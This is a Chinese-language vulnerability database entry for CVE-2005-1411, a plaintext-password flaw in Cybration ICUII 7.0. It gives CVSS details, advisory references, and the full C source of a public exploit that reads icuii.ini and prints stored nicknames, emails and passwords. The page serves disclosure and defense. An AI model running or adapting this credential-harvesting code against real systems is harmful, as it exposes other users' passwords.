CVE-2005-1411
CVSS4.6
发布时间 :2005-05-03 00:00:00
修订时间 :2008-09-05 16:49:04
NMCOES    

[原文]Cybration ICUII 7.0 stores passwords in plaintext in the world-readable icuii.ini file, which allows local users to gain privileges.


[CNNVD]ICUII多个密码本地信息泄露漏洞(CNNVD-200505-821)

        Cybration ICUII 7.0在全域可读的icuii.ini文件中以纯文本形式存储密码,本地用户可以借此获取权限。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1411
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1411
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-821
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/20321
(VENDOR_ADVISORY)  XF  icuii-password-disclosure(20321)
http://www.securityfocus.com/bid/13441
(UNKNOWN)  BID  13441
http://www.osvdb.org/14688
(VENDOR_ADVISORY)  OSVDB  14688
http://securitytracker.com/id?1013828
(UNKNOWN)  SECTRACK  1013828
http://secunia.com/advisories/15171
(UNKNOWN)  SECUNIA  15171
http://osvdb.org/ref/14/14688-icuii.txt
(UNKNOWN)  MISC  http://osvdb.org/ref/14/14688-icuii.txt

- 漏洞信息

ICUII多个密码本地信息泄露漏洞
中危 资料不足
2005-05-03 00:00:00 2005-10-20 00:00:00
本地  
        Cybration ICUII 7.0在全域可读的icuii.ini文件中以纯文本形式存储密码,本地用户可以借此获取权限。

- 公告与补丁

        暂无数据

- 漏洞信息 (965)

ICUII 7.0 Local Password Disclosure Exploit (EDBID:965)
windows local
2005-04-28 Verified
0 Kozan
N/A [点击下载]
/*****************************************************************

ICUII 7.0 Local Password Disclosure Exploit by Kozan

Application: ICUII 7.0 (and probably prior versions)
Procuder: Cybration - www.icuii.com
Vulnerable Description: ICUII 7.0 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}

char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == 0x0D)
break;
Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}

int main()
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                                       "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey
                                       ) == ERROR_SUCCESS)
       {
       lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);
       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
       {
               RegCloseKey(hKey);
               printf("An error occured!\n");
               return -1;
       }
       RegCloseKey(hKey);
       }

       strcat(prgfiles,"\\icuii\\icuii.ini");

       if(oku(prgfiles,"NickName=")=="")
       {
               printf("ICUII is not installed on your system!\n");
               return -1;
       }

       printf("ICUII 7.0 Local Password Disclosure Exploit by Kozan\n");
       printf("Credits to ATmaCA\n");
       printf("www.netmagister.com - www.spyinstructors.com\n");
       printf("kozan@netmagister.com\n\n");

       printf("Nickname: %s\n",oku(prgfiles,"NickName="));
       printf("Location: %s\n",oku(prgfiles,"Location="));
       printf("Comment : %s\n",oku(prgfiles,"Comment="));
       printf("E-Mail  : %s\n",oku(prgfiles,"Email="));
       printf("Password: %s\n",oku(prgfiles,"StartingPW="));

       /*
               This example exploit only shows main ICUII passwords.
               You may also get ICQ, AIM, MSN, Yahoo! passwords which are used within ICUII
       */

       return 0;
}

// milw0rm.com [2005-04-28]
		

- 漏洞信息

14688
ICUII icuii.ini Cleartext Local Password Disclosure
Local Access Required Cryptographic, Information Disclosure
Loss of Confidentiality
Exploit Public

- 漏洞描述

ICUII contains a flaw that may lead to an unauthorized password exposure. It is possible to gain access to plaintext passwords when vieiwing \\Program Files\icuii\icuii.ini as a local user, which may lead to a loss of confidentiality.

- 时间线

2005-04-27 Unknow
2005-04-27 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

ICUII Multiple Password Local Information Disclosure Vulnerability
Unknown 13441
No Yes
2005-04-29 12:00:00 2009-07-12 02:06:00
kozan@netmagister.com is credited with the discovery of this vulnerability.

- 受影响的程序版本

ICUII ICUII 7.0

- 漏洞讨论

ICUII is affected by a local information disclosure vulnerability. This issue is a result of the application storing passwords in a globally accessible file in plaintext.

A local user can open the file and retrieve the passwords.

This issue is reported to affect ICUII version 7.0.

- 漏洞利用

No exploit is required.

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站